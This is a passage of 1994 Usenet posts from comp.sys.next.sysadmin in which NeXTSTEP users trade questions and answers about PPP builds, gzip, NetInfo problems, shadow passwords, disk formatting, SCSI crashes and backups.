>>I have a NeXT '040 mono slab. I would like to know if there are any PPP
>>or CSLIP client packages out there for it.
>
>I am also trying to build PPP. I got it from
>ftp.informatik.uni-muenchen.de:/pub/comp/platforms/next/Communication/programs
>
> I am having trouble compiling it; running into 2.0 compatibility warnings
> and missing include files. I couldn't find any hints in the FAQ, and
> my intial makefile-hacking attempts have proven pretty fruitless.
> Does someone who built PPP have a hints-file or a summary of their
> build/install?
Is that the next-ppp.tar archive?
I tried that yesterday with absolutely no luck whatsoever. It looks
like that was for 2.1 only.
Has anybody tried MorningStar?
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: mcafee@Xenon.Stanford.EDU (Christopher C McAfee)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Slip, CSLIP and PPP
Date: 3 Mar 1994 07:07:39 GMT
Organization: Computer Science Department, Stanford University.
Message-ID: <2l42br$9oo@Times.Stanford.EDU>
References: <MichaelCullen.2.00106C17@symantec.com>
In article <MichaelCullen.2.00106C17@symantec.com>,
Michael Cullen <MichaelCullen@symantec.com> wrote:
>Hey there
>
>I have a NeXT '040 mono slab. I would like to know if there are any PPP
>or CSLIP client packages out there for it.
I am also trying to build PPP. I got it from
ftp.informatik.uni-muenchen.de:/pub/comp/platforms/next/Communication/programs
I am having trouble compiling it; running into 2.0 compatibility warnings
and missing include files. I couldn't find any hints in the FAQ, and
my intial makefile-hacking attempts have proven pretty fruitless.
Does someone who built PPP have a hints-file or a summary of their
build/install?
>Also, what is a good compression package to open up SLIPCommander.3.2.tar.gz
>(I realize this is probably a stupid question, oh well).
/usr/bin/gunzip for NS3.2 users. Not sure about previous versions.
If you're sure you don't have it, it's pretty easy to build it from
the source, GNU source is mirrored at gatekeeper.dec.com:/pub/GNU
Later,
Chris
mcafee@cs.stanford.edu
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From: wils4198@hgc.edu (George H. Wilson)
Subject: What CD-ROM drives work with Black Hardware?
Message-ID: <1994Mar3.070245.22604@merlin.hgc.edu>
Keywords: CD-ROM, compatibility
Sender: usenet@merlin.hgc.edu (Action News Central)
Organization: Sometimes
Date: Thu, 3 Mar 1994 07:02:45 GMT
Because my NeXT CD-ROM drive has broken I want to look into buying a new
double or triple speed CD-ROM that will work with my Intel hardware. I want
the drive primarily for the Intel box, but will need it for the NeXT when I
need to reload parts of the OS or read the only CD I have for the NeXT.
- Will any SCSI CD-ROM drive work? Do I need drivers of some sort?
I may have to buy one soon to get my NeXT to boot again so I would appreciate
any info.
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From: skeezics@teleport.com (Skeezics Boondoggle)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP! NetInfo problem? No loginwindow!
Date: 3 Mar 1994 03:42:11 -0800
Organization: Teleport - Portland's Public Access (503) 220-1016
Message-ID: <2l4iej$p31@elaine.teleport.com>
Summary: 040 cube, NS2.0, had disk problems, now no loginwindow
Keywords: disk problems, login problems
Ugh. This ought to be simple to fix, but I'm rather in a panic... Mom
has an '040 Cube, running 2.0, and it's always (?) complained at boot
time:
loginwindow: netinfo problem - No such directory
Things worked fine... for YEARS... then this (er, yesterday) a.m. the
login window didn't come up - just a blank screen and the pointer. Upon
rebooting singleuser and investigating, I also found that it was
sometimes complaining:
loginwindow: could not find WindowServer port!
All the old manual told me was to replace my /etc/netinfo/local.nidb/
from known working backups. Yeah, RIGHT. .5 :-) So I then made sure
that all of my "flat" files matched what was already in NI, then deleted
and replaced the database files with the copies out of /usr/template.
Still no luck. Actually, I'm glossing over things a bit because I'm
way too tired to be lucid. On a whim I created a '/me' directory, and
exited singleuser mode. Everything came up... so I pulled up a terminal
window, su'd, blew that away and rebooted. Back to the same problem
again. Ugh. The thing that precipitated this whole mess was a rare and
unfortunate "freeze", to which the user, Mom, responded by jabbing at
the power key...but nothing unexplained showed up in /lost+found.
If this is an FAQ, or if I should be shot for still running 2.x, or if
I'm just being incredibly stupid because I haven't slept in about four
billion hours, then flame all you want. But if some kind soul out there
could simply give me a hint...
Net don't fail me now! :-)
Thanks very much,
-- Chris
--
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Public Access UNIX and Internet at (503) 220-0636 (1200/2400, N81)
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: SDformat users : Confirmation..
Date: 3 Mar 1994 12:15:38 -0000
Organization: me organized? That's a joke!
Message-ID: <2l4kda$ko@steffi.demon.co.uk>
Well I will be sdformatting tomorrow and I want to make sure
everything goes smoothly.
Here's what I plan to do.
1. Backup (backup software will be on floppy :-))
2. sdformat -i1 -u0 -b1024 -f
3. Do a complete install from the 3.2 bootdisk and CD-ROM's
4. Restore selected files.
This sound ok?
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"No, what?"
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Subject: Re: NS 3.2/I and putenv()
Message-ID: <S.A.MCINTYRE.94Mar2115138@shrug.dur.ac.uk>
From: "Scott A. McIntyre" <S.A.McIntyre@durham.ac.uk>
Date: 02 Mar 1994 11:51:37 GMT
References: <2kvube$pgg@marble.Britain.EU.net>
Organization: I speak for myself
In-reply-to: Charlesa@learned.co.uk's message of Tue, 01 Mar 94 17:32:19 BST
there are a number of bsd related calls that the NeXT does not support...as
a result I've found the original bsd code and simply made a library
which contains all of the missing bits (called, libmissing.a of course)...
The contents I have so far are:
strdup()
putenv()
getenv()
setenv()
I notice that more and more things are looking for getcwd, which is implemented
under POSIX, but sometimes compiling wiht -posix causes more headaches than
are needed.
If there is sufficient demand I would be happy to place this library on
cs.orst.edu...it is for Black hardware, I don't have intel and I don't
have the slightest interest or knowledge about how to compile crossplatform.
Scott
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WWW: http://shrug.org/pages/scott/scottm.html
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From: mark@xexos.com (Mark Chamberlain)
Subject: Re: How to build a ROUTER with netinfo?
Message-ID: <1994Mar3.101350.24839@xexos.com>
Sender: news@xexos.com
Organization: Xexos, Ltd (London)
References: <1994Mar2.210722.1988@utata.in-berlin.de>
Date: Thu, 3 Mar 1994 10:13:50 GMT
In article <1994Mar2.210722.1988@utata.in-berlin.de> grisu (Gernot A. Pohl)
writes:
>
> My situation:
> I have two ethernetcards plugged in a NS-PC.
> I want to communicate with each one to different subnets & form
> something like a router.
>
> Did anyone build a router with NeXTSTEPs automatic net interface
> configuration? How to build it otherwise?
>
Does NeXTSTEP even support two net cards in the same machine? I don't *think*
so, but can't say with any authority other than having not seen it mentioned in
any docs.
The cheapest way to build a router is to do what you have done, but run DOS and
a system called PC-Route, which is a set of public-domain routing software.
Works pretty well on a fast machine. Of course, you can't run NEXTSTEP on
it....
On a "standard" Unix box, like a Sun, its possible to load the box up with
ethernet cards, do some trickery with the route command and the routed daemon
(and some RIP), and have the machine route between two subnets, but its not
pretty.
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London mark@xexos.com
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From: scotto@spasm.cica.indiana.edu (Scott Ostrander)
Subject: Shadow Passwords
Message-ID: <CM3Eyy.1LD@usenet.ucs.indiana.edu>
Summary: Anyone know of...?
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: CICA - Center for Innovative Computer Applications
Date: Thu, 3 Mar 1994 14:30:34 GMT
Does anyone know if someone has produced a patch for NS 3.x to use shadow
passwords instead of encoding the password entry in /etc/passwd?
Thanks,
Scott Ostrander
scotto@cica.indiana.edu
From: hamps@richibucto.jpl.nasa.gov (John B. Hampshire II)
Newsgroups: comp.sys.next.sysadmin
Subject: more Re. really fatal NS 3.2 Intel crashes (DPT-2022)
Date: 3 Mar 1994 17:13:17 GMT
Organization: JPL Spacecraft Telecommunication Equipment
Message-ID: <2l55rd$9ql@marsupial.jpl.nasa.gov>
I posted about 10 days ago re. problems I was
having with my DPT-2022 SCSI interfaces
(one has 1MB cache, the other has 4MB), which
I am running at 10Mb/s.
I made two changes, which for the last
8 days have resulted in no fatal crashes:
1)I cleaned up my internal SCSI ribbon.
I had two ribbons chained together in order
to get enough connectors for devices: I
replaced these with one shorter (custom) ribbon
I made with enough connectors for all my devices.
2) I reconfigured the DPT-2022 to run with NO caching.
Because I made two changes, this was not
a tightly controlled experiment; moreover,
not enough time has passed to say with high
probability the problem is solved. When I powered
up one machine last night I got an unexpected EATA
timeout/SCSI reset, which is symptomatic of
my earlier problems...
At any rate, if others are suffering from fatal
crashes, you might try these ideas. Thanks again
to all who gave advice.
-John
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From: shergot5@mach1.wlu.ca (scott hergott u)
Subject: Help!, Reconfiguring, Help!
Message-ID: <CM3tHG.3pC@mach1.wlu.ca>
Organization: Wilfrid Laurier University
Date: Thu, 3 Mar 1994 19:44:03 GMT
Due to an accident while installing Mux drivers, I am now unable to reboot
NeXT. (NSI 3.2) I have tried to reboot with the default configuration,
however, this does not work. I believe that the main problem is that I
deleted the Serial Port Driver. (From the Configure Pannel)
I have now lost the mouse. (Serial Port A is Gone!)
I was able to reboot, and configure the drivers using a shell and vi.
(In the usr/Devices/System.config/Instance0.table &
usr/Devices/SerialPorts.config/Instance0.table directories) However, I am
unable to relink (??) the drivers. NeXT is now hanging ("off in La la land
with the leprechauns and the fairies" : Homer Simpson)
Okay, question : How can I reconfigure NeXTSTEP from a shell?
Can I (do I have to) relink drivers?
Would it be easier to reinstall drivers from the CD?
Can I boot from the install floppy and fix the config?
Help!
Scott Hergott
********************************************************************************
My old Sig got deleted so I don't have one!
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Shadow Passwords
Date: 3 Mar 1994 15:52:26 GMT
Organization: University of Houston
Message-ID: <2l513q$guq@menudo.uh.edu>
References: <CM3Eyy.1LD@usenet.ucs.indiana.edu>
In article <CM3Eyy.1LD@usenet.ucs.indiana.edu> scotto@spasm.cica.indiana.edu
(Scott Ostrander) writes:
#
#Does anyone know if someone has produced a patch for NS 3.x to use shadow
#passwords instead of encoding the password entry in /etc/passwd?
#
#Thanks,
#
#Scott Ostrander
#scotto@cica.indiana.edu
First, if you use NetInfo, you don't use the /etc/passwd file (except for
booting single-usermode). I am not sure about any patches to NetInfo for a
"shadow-like" capability, although I suspect that it shouldn't be too
difficult to make NetInfo act properly... But, since we don't have source
to NetInfo, we can't modify the libs or the executables...
NeXT, will this be in the next release?
--
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The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
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"Programming is like sex: One mistake and you support it a lifetime."
From: jmm@king.econ.lsa.umich.edu (Jeffrey K. MacKie-Mason)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT Mail problem: archiving attachments
Date: 3 Mar 1994 17:11:51 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2l55on$6qe@agate.berkeley.edu>
Keywords: mail
I posted about this before, but received no answers. It's driving me batty, so
I thought I'd ask one more time:
If I try to transfer a received NeXTMail-format message with attached
files/folders into one of my NeXTMail archival mailboxes, Mail hangs (endless
spinning wheel), and if I kill it then rerun it, it won't retrieve new mail
from /usr/spool (even when I explicitly tell it to with cmd-N) until I reboot
the whole machine!
The net result is that the text part of the message *is* transferred to the
archival folder, and the subdirectory for the attachment is created, but the
attachment(s) itself is not transferred.
I am not doing anything nonstandard that I can see (I'm just pushing the
buttons in the NeXTMail app).
Help!
--
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Dept. of Economics Jan-July '94: California Energy Institute
Univ. of Michigan 2539 Channing Way
Ann Arbor, MI 48109-1220 Berkeley, CA 94720
internet: jmm@umich.edu phone: 510-642-3570 fax: 510-642-3570
From: dac@engc.bu.edu (David Castanon)
Newsgroups: comp.sys.next.sysadmin
Subject: Backup Tape Help
Date: 3 Mar 1994 19:56:37 GMT
Organization: Boston University
Message-ID: <2l5fdl$f37@news.bu.edu>
I moved a tape backup system which I used at home for a MacIntosh, to use on my NeXT 2.x
station. The unit is a Teac 150 tape drive. After some initial difficulty getting it
to write, I used a program (setmtd) to set to fixed block size 512 k, and I was
able to back up using either tar or gnutar (with default blocksizes) to /dev/nrst0.
The problem is that the 150 Mb tapes are getting filled after only 20 Mbytes. I am doing full
directory backups, but the directories have < 50 Mb each. I can retrieve the data, but
I would like to back up without changing tapes frequently!
I don't understand what is going on. Is there some incompatibility in tape writing speeds?
Are there parameters which I need to set?
Any help or insight would be greatly appreciated. Thanks.
-David Castanon
dac@bu.edu
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From: charles@oneworld.wa.com
Subject: Re: POP3 or SMTP on NeXT?
Message-ID: <1994Mar2.191012.5069@oneworld.wa.com>
Organization: OneWorld Enterprises/OneWorld Computing Resources
References: <CLr24J.BwL@rice.edu>
Date: Wed, 2 Mar 1994 19:10:12 GMT
Have you given some thought to implementing IMAP in lieu of POP?
From: anstine@uniblab.sas.upenn.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Shadow Passwords
Date: 3 Mar 1994 16:09:38 GMT
Organization: University of Pennsylvania
Message-ID: <2l5242$196@netnews.upenn.edu>
References: <CM3Eyy.1LD@usenet.ucs.indiana.edu>
In article <CM3Eyy.1LD@usenet.ucs.indiana.edu>
scotto@spasm.cica.indiana.edu (Scott Ostrander) writes:
>
>Does anyone know if someone has produced a patch for NS 3.x to use shadow
>passwords instead of encoding the password entry in /etc/passwd?
>
>Thanks,
>
>Scott Ostrander
>scotto@cica.indiana.edu
Yeah, and how about password aging. And a hack to force a certain user to
change his password upon next login.
-dave
From: crawford@nesteggs.com (Michael E. Crawford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: netinfo server name change
Date: 3 Mar 1994 10:32:07 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9403031612.AA02169@nesteggs.com>
trebels@zeus.theo-phys.gwdg.de (Stephan Trebels) wrote:
>Michael E. Crawford (crawford@nesteggs.com) wrote:
>[munch]
>> This answer changes the existing configuration server's hostname.
>[munch]
>> Fire up NetInfoManager.app.
>> Go through each directory in the network domain & the host's local
>> domain and find every, I said every incidence of your host's
>> hostname.
>[munch]
>Hmmmm, I agree your comments on hostconfig, but why don't you just
>use nidump -r / / and sed/vi/emacs to change everything (sed only,
Because they are UNIX commands. ;]
>if you are confident, your hostname isn't used by the operating
>system, but a query-replace in emacs should be safe). I'd use sed
>to do the standard part of the job, and diff the two files later.
diff; another UNIX command! 7-)
>munch
>That's not nice, but IMHO still better than using NetinfoManager.
>I would never dare to do it your way, as I'd certainly miss some
>occurences!
No you wouldn't. Believe me, when you're in the middle of doing what
I proposed, you get very careful & very methodical. You'd do fine.
>Regards, Stephan
Thanks, Stephan
Your method may be more direct, safer and expedient.
It is not more fun, to me.
This is a stylistic choice.
The reason I love NetInfoManager is because it allows me to work from
a lofty perch as I do system administration.
If I paint myself into a corner, & have to use the command line, I
do; but only then.
I hope everyone on this list can find something better to do than
engage in a week-long debate on the merits & demerits of
NetInfoManager.
Me?; I'm off to find another cup of damn fine coffee, and hot, too.
>p.s. what did he say regarding the master move? I expect
> 1) make the new master a clone server
> 2) change the master property
> 3) reboot
> 4) eventually disconnect the new clone server from the domain
>----------------------------------------------------------------
He said nothing about a master move.
He only wanted to change the hostname of his existing master server &
have it continue in its present role.
Thanks for your time.
Michael
From: CCGREG@mizzou1.missouri.edu (Greg Johnson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Shadow Passwords
Date: Thu, 03 Mar 94 14:59:44 CST
Organization: University of Missouri, Columbia
Message-ID: <16F6ED305S86.CCGREG@mizzou1.missouri.edu>
References: <CM3Eyy.1LD@usenet.ucs.indiana.edu> <2l5242$196@netnews.upenn.edu>
scotto@spasm.cica.indiana.edu (Scott Ostrander) writes:
>Does anyone know if someone has produced a patch for NS 3.x to use shadow
>passwords instead of encoding the password entry in /etc/passwd?
anstine@uniblab.sas.upenn.edu replies:
>Yeah, and how about password aging. And a hack to force a certain user to
>change his password upon next login.
Please, NeXT. Why can't Netinfo protect encrypted passwords from Crack?
The "secure_passwords" property is a step but not nearly enough!
"trusted_networks" doesn't protect us from pounding on encrypted passwords
by our own users. I work for a university. Need I say more?
Why not a "_readers" property as well as the existing "_writers"?
Why not encrypt traffic between NetInfo daemons, (as an option!)?
As a system administrator I prefer the power of Netinfo over similar tools.
Netinfo has IMHO the right architectural foundation. As several have
commented, the few things we've asked ought to be an easy programming job.
Are the functions we ask--read-control access to netinfo data, a
mod to loginwindow to force password change--ultimately ineffective?
I'm not asking for a full-blown Kerberos, just security in a fairly
homogenous physically-controlled environment.
Recently I had to report to a group planning long-term deployment & management
of computing to all K-Ph.D schools in my state, sorry, NetInfo is even less
secure than NIS. Please prove me wrong, now, or soon. Think of what
a good selling point that would be.
What does it take to escalate this issue?
*Greg Johnson - Sr Sci Pgmr/Analyst, Campus Computing, 233 Heinkel Bldg
*U of Missouri, Columbia, MO 65211 USA {314-882-2000, fax 314-884-5240}
From: plai@roma.nwest.mccaw.com (Paul Lai)
Newsgroups: comp.sys.next,comp.sys.next.sysadmin,comp.unix.large,comp.unix.admin
Subject: NetInfo and Lookupd losing connections
Date: 3 Mar 1994 20:43:13 GMT
Organization: McCaw Cellular Communications, Inc.
Message-ID: <2l5i51$ort@ftp-p.mccaw.com>
Keywords: Netinfo Lookupd
Hi Netlanders,
We have a large (200+) NetInfo site that's losing connections between
lookupd and netinfods after a period of days or weeks of stability.
Aside from the other obvious ways of pursuing this question, I thought
it might be a good idea to see what Net-Lore (NetWisdom???) has to say.
We believe that our NI structure is sound, but, just for your reference,
it looks like this. The NI structure has three tiers:
Ti
er
root_NI_server 2
/ | \
dept_1 dept_2 ... ... dept_n 1
/ / \
c-1 c-2 .... c-n 0
each tier > 0 server has clones taken from the lower tier. Tests ran when
everything was working include turning off the root_NI_server to validate
that
the clones were picking up the slack. This test involved checking
the NI structures from a variety of machines on the given tiers.
Everything seemed to work.
How do we know that we're losing lookupd with netinfod connections?
At quick look at /usr/adm/messages reveals (where our hostname has been
substituted with "myhostname"):
Feb 28 01:19:40 myhostname syslog: netinfo failure, aborting
Feb 28 01:19:47 myhostname syslog: netinfo failure, aborting
Feb 28 02:20:24 myhostname syslog: netinfo failure, aborting
Feb 28 02:20:40 myhostname syslog: netinfo sleeping: RPC: Timed out
Feb 28 02:20:50 myhostname syslog: netinfo sleeping: RPC: Timed out
Feb 28 02:20:55 myhostname syslog: netinfo waking
Feb 28 02:21:58 myhostname syslog: netinfo waking
Feb 28 04:02:30 myhostname syslog: netinfo sleeping: RPC: Timed out
Feb 28 09:25:42 myhostname lookupd[19151]: netinfo failure, sleeping
Feb 28 09:25:45 myhostname lookupd[19151]: netinfo waking
Feb 28 09:26:00 myhostname lookupd[19151]: netinfo sleeping: RPC: Timed
out
Feb 28 09:26:19 myhostname lookupd[19151]: netinfo waking
Mar 1 01:00:14 myhostname syslog: netinfo sleeping: RPC: Timed out
Mar 1 01:00:19 myhostname syslog: netinfo waking
Mar 1 01:00:44 myhostname syslog: netinfo sleeping: RPC: Timed out
Mar 1 01:00:50 myhostname syslog: netinfo waking
Mar 1 02:02:28 myhostname syslog: netinfo failure, aborting
Mar 1 02:02:43 myhostname syslog: netinfo sleeping: RPC: Timed out
Mar 1 02:02:49 myhostname syslog: netinfo waking
Other possible pertinent facts about our network include:
o 10baseT level 5 runs for the LAN
o Fiber runs on the Risers
o Synoptics Hubs show that the load is fairly light, well within 10%
usage.
o Other chatter on the LAN include IPX (read Novell) and AppleTalk. The
percentages/volume of these protocals are unknown?
o No periodic high load bursty transmissions have been identified to
occur during/between these periods.
o our root_NI_server and dept_NI_server's are NeXT Turbo Colors running
NeXTStep 3.1. Most of the clients (terminal nodes) are Intel Pro/GX's
running a mixture of 3.1 and 3.2 for Intel.
o NFS service (not shown above) is being provided from an Auspex box.
Questions that we would like answered:
1. Does IP live well with IPX and AppleTalk?
2. How stable are the other large NetInfo sites out there? Are they
living
on hetergeneous networks? If so, how mixed? May we contact you and
compare notes?
Thanks for the bandwidth,
-Paul
--
-------------------------------------------------------
Paul Lai paul.lai@mccaw.com
206-915-4116 (cellular) 206-828-1738 (desk)
206-991-4330 (pager) 206-827-5986 (fax)
McCaw Cellular, 5400 Carillon Point, Kirkland, WA 98033
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: Shadow Passwords
Message-ID: <CM3zpH.BJ@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <CM3Eyy.1LD@usenet.ucs.indiana.edu>
Date: Thu, 3 Mar 1994 21:58:29 GMT
In article <CM3Eyy.1LD@usenet.ucs.indiana.edu>,
Scott Ostrander <scotto@cica.indiana.edu> wrote:
>
>Does anyone know if someone has produced a patch for NS 3.x to use shadow
>passwords instead of encoding the password entry in /etc/passwd?
>
>Thanks,
>
>Scott Ostrander
>scotto@cica.indiana.edu
Nope. One of the worst things about NextStep, IMHO. Send mail to
NeXT telling them that they are way behind the times and really need
to fix it. Last year I spoke with the folks at Xedoc, and they
were interested in it too. I was hoping NeXT would just hand NetInfo
to them --they seem pretty capable to me.
-rob
---
Rob Francis Unix Systems Specialist, University Computing Services
Indiana University, francisr@indiana.edu (812)855-0327
From: Joe_Keenan@next.com
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to build a ROUTER with netinfo?
Date: 3 Mar 1994 22:31:22 GMT
Organization: NeXT, Inc.
Message-ID: <2l5ofq$lls@rosie.next.com>
References: <1994Mar2.210722.1988@utata.in-berlin.de>
In article <1994Mar2.210722.1988@utata.in-berlin.de> grisu (Gernot A. Pohl)
writes:
>
> My situation:
> I have two ethernetcards plugged in a NS-PC.
> I want to communicate with each one to different subnets & form
> something like a router.
>
> Did anyone build a router with NeXTSTEPs automatic net interface
> configuration? How to build it otherwise?
NEXTSTEP 3.2 does not support multiple ethernet interfaces. So - not only
can't you do it using the standard management tools, it's very unlikely to
could get it to work at all. Amoung other things, ipforwarding is not turned
on in the kernel by default.
Joe Keenan
NeXT Technical Support
From: brunkhorst@mayo.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Got It (was: Re: HP LaserJet 4mSIx Duplex PPD)
Date: 3 Mar 1994 23:04:14 GMT
Organization: Mayo Foundation
Distribution: world
Message-ID: <2l5qde$lbm@fermat.mayo.edu>
References: <2l08sn$ltb@balu.ixpoint.de>
In article <2l08sn$ltb@balu.ixpoint.de> gguelden@ixpoint.de writes:
> In article <2kgla8$g0@fermat.mayo.edu> brunkhorst@mayo.edu writes:
> > Anybody have one?
> >
> > The shipped 3.2 HP4 driver doesn't support the duplexing option.
> > I looked at the PPD code differences between the IIIsiX duplex
> > and the HP4 and thought better of hand crufting a 'patch' before
> > I asked the net if one exists. Ftp.adobe.com doesn't have one,
> > and the HP people I call don't know the difference between a
> > PPD file and a windows driver.
> >
> > ---
> Sorry, not the answer you expected, but the best idea is using
> QMS-Printers (i.e. PS-1725) instead of HP. They do all, what you need (and
> a lot more).
>
Well, I did get a response that pointed me to the Mac Utilities Diskette
that comes with the Printer, and there was a PPD file for it there.
Thanks to Jerry Weiss for the pointer. The hardest thing was to get it
into 'unix' mode.
I am now battling with some filters on the 'remote' server of the printer.
I still can't get into duplex mode, although it actually tries. It looks
like NeXT's PS code is forcing the printer to duplex, but then requesting
each page to be printed on the 'front,' so the paper goes through the
duplexing unit, but nothing gets printed on the back side.
QMS, unfortunately, is not our standard PC/Mac printer. HP is.
---
Geoff
____________________________________________________________________________
Geoffrey Brunkhorst Brunkhorst.Geoffrey@Mayo.edu
Research Computing Facility, Guggenheim 10 (507) 284-1805
Mayo Foundation, Rochester MN, 55905, USA fax (507) 284-5231
From: MichaelCullen@symantec.com (Michael Cullen)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Slip, CSLIP and PPP
Date: Thu, 3 Mar 1994 14:10:11
Organization: Symantec/Peter Norton Group
Message-ID: <MichaelCullen.3.000E2BE6@symantec.com>
References: <MichaelCullen.2.00106C17@symantec.com> <2l42br$9oo@Times.Stanford.EDU>
In article <2l42br$9oo@Times.Stanford.EDU> mcafee@Xenon.Stanford.EDU (Christopher C McAfee) writes:
>From: mcafee@Xenon.Stanford.EDU (Christopher C McAfee)>Subject: Re: Slip, CSLIP and PPP
>Date: 3 Mar 1994 07:07:39 GMT
>In article <MichaelCullen.2.00106C17@symantec.com>,
>Michael Cullen <MichaelCullen@symantec.com> wrote:
>>Hey there
>>
>>I have a NeXT '040 mono slab. I would like to know if there are any PPP
>>or CSLIP client packages out there for it.
>I am also trying to build PPP. I got it from
>ftp.informatik.uni-muenchen.de:/pub/comp/platforms/next/Communication/programs
> I am having trouble compiling it; running into 2.0 compatibility warnings
> and missing include files. I couldn't find any hints in the FAQ, and
> my intial makefile-hacking attempts have proven pretty fruitless.
> Does someone who built PPP have a hints-file or a summary of their
> build/install?
>>Also, what is a good compression package to open up SLIPCommander.3.2.tar.gz
>>(I realize this is probably a stupid question, oh well).
I am running NS3.1. I tried gzip-1.2.4.tar. In the documentation, it
mentions the gz suffix, but when I run either 'gzip' or 'gunzip', it gives me
an error saying it could not identify '.gz'. The docs talk about a -S option,
but the program returns an error that it doesn't have a '- S' option.
Help!!!!
> /usr/bin/gunzip for NS3.2 users. Not sure about previous versions.
> If you're sure you don't have it, it's pretty easy to build it from
> the source, GNU source is mirrored at gatekeeper.dec.com:/pub/GNU
> Later,
> Chris
> mcafee@cs.stanford.edu
Newsgroups: comp.sys.next.sysadmin
From: nsayer@quack.kfu.com (Nick Sayer)
Subject: YP instead of netinfo ?
Message-ID: <gd8NEP5@quack.kfu.com>
Sender: news@quack.kfu.com (0000-News(0000))
Organization: The Duck Pond public unix: +1 408 249 9630, log in as 'guest'.
Date: 3 Mar 1994 22:51:31 UTC
What must I do to set up a bunch of NeXT cubes to use YP only?
I recently set up a new NeXT cube and set up hostconfig
with explicit hostname, IP address and YP domain, but it still
wants to talk netinfo and I have to press 'c' to tell it not
to bother during bootup. Apart from that, it does seem to
take YP hosts and passwd maps (after adding +: to /etc/passwd,
of course). Is it simply a matter of commenting out the
nibinder? Does this have irreversable impacts at the user
level?
--
Nick Sayer <nsayer@quack.kfu.com> | "When DEC hits bottom, they're going
N6QQQ @ N0ARY.#NOCAL.CA.USA.NOAM | to make an awful big splat."
+1 408 249 9630, log in as 'guest' |
PGP 2.2 key and geek code via finger | -- David Hawkins
From: jeffo@uiuc.edu (J.B. Nicholson-Owens)
Newsgroups: comp.sys.next.sysadmin
Subject: resolver limits
Date: 4 Mar 94 00:10:33 GMT
Organization: University of Illinois at Urbana
Message-ID: <jeffo.762739833@uiuc.edu>
References: <schwettCM18n8.GFv@netcom.com> <schwettCM33C6.By8@netcom.com>
Any chance that NeXT will change the resolver to have (or use one that
already has) no limit as to the number of nameservers in the
/etc/resolv.conf list? I think it could be handy to allow using more
than 3. Perhaps simply going down the list, moving to the next
nameserver in turn if the one being used fails for whatever reason.
--
*NO* NeXTmail please
From: mcafee@Xenon.Stanford.EDU (Christopher C McAfee)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Slip, CSLIP and PPP
Date: 4 Mar 1994 00:57:38 GMT
Organization: Computer Science Department, Stanford University.
Message-ID: <2l6122$f57@Times.Stanford.EDU>
References: <MichaelCullen.2.00106C17@symantec.com> <2l42br$9oo@Times.Stanford.EDU> <MichaelCullen.3.000E2BE6@symantec.com>
In article <MichaelCullen.3.000E2BE6@symantec.com>,
Michael Cullen <MichaelCullen@symantec.com> wrote:
>In article <2l42br$9oo@Times.Stanford.EDU> mcafee@Xenon.Stanford.EDU (Christopher C McAfee) writes:
>>From: mcafee@Xenon.Stanford.EDU (Christopher C McAfee)
>>Subject: Re: Slip, CSLIP and PPP
>>Date: 3 Mar 1994 07:07:39 GMT
>
>>In article <MichaelCullen.2.00106C17@symantec.com>,
>>Michael Cullen <MichaelCullen@symantec.com> wrote:
>>>Also, what is a good compression package to open up SLIPCommander.3.2.tar.gz
>>>(I realize this is probably a stupid question, oh well).
>
>I am running NS3.1. I tried gzip-1.2.4.tar. In the documentation, it
>mentions the gz suffix, but when I run either 'gzip' or 'gunzip', it gives me
>an error saying it could not identify '.gz'. The docs talk about a -S option,
>but the program returns an error that it doesn't have a '- S' option.
>Help!!!!
For a brief 2-month period last year, GNU chose (poorly) the .z extension
for gzip/gunzip. Perhaps NS3.1 captured this error. The extension is now
.gz but I think you can use the NS3.1 version if you rename the file from
foo.gz
to
foo.z
and THEN try to gunzip it.
Good luck,
Chris
mcafee@cs.stanford.edu
Newsgroups: comp.sys.next.sysadmin
From: eboltz@acoustica.mrd.bldrdoc.gov (Eric)
Subject: Network Backup Software
Message-ID: <CM3n8x.F94@bldrdoc.gov>
Sender: news@bldrdoc.gov
Organization: National Institute of Standards and Technology
Date: Thu, 3 Mar 1994 17:29:20 GMT
We're looking for a good network backup package that will run
on SPARC/Solaris, NEXTSTEP, and HP-UX.
Any recommendations?
Eric
--
Eric S. Boltz, M.S.E. *eboltz@bldrdoc.gov*
Materials Research Engineer eboltz@jhunix.hcf.jhu.edu
National Institute of Standards and Technology NeXTMail Accepted
(Ph.D. Candidate, Johns Hopkins University)
My views, opinions and statements in no way reflect those of the U.S. Gov't,
the U.S. Department of Commerce or NIST.
From: rolf@csg.lbl.gov (Rolf Behrsing)
Newsgroups: comp.sys.next.sysadmin
Subject: Low Level Formatting
Date: 4 Mar 1994 04:14:36 GMT
Organization: Lawrence Berkeley Laboratory, California
Message-ID: <37661@dog.ee.lbl.gov>
Is it possibly to low level format a scsi device with a block size of 1024
as opposed to 512 (default) with NEXTSTEP on white?
Thanks in advance,
Rolf
Newsgroups: comp.sys.next.sysadmin
From: shergot5@mach1.wlu.ca (scott hergott u)
Subject: SerialMouse.config
Message-ID: <CM4sty.AKH@mach1.wlu.ca>
Organization: Wilfrid Laurier University
Date: Fri, 4 Mar 1994 08:27:32 GMT
After the destruction of nearly all driver files, I have managed to
reconfigure most everthing, with the exception of the mouse. The reason for
this is due to the fact that it was deleted (Whole SerialMouse.config
directory.)
Since I do not have a CD rom currently connected to my
computer, could someone be ever so kind and tar & compress the
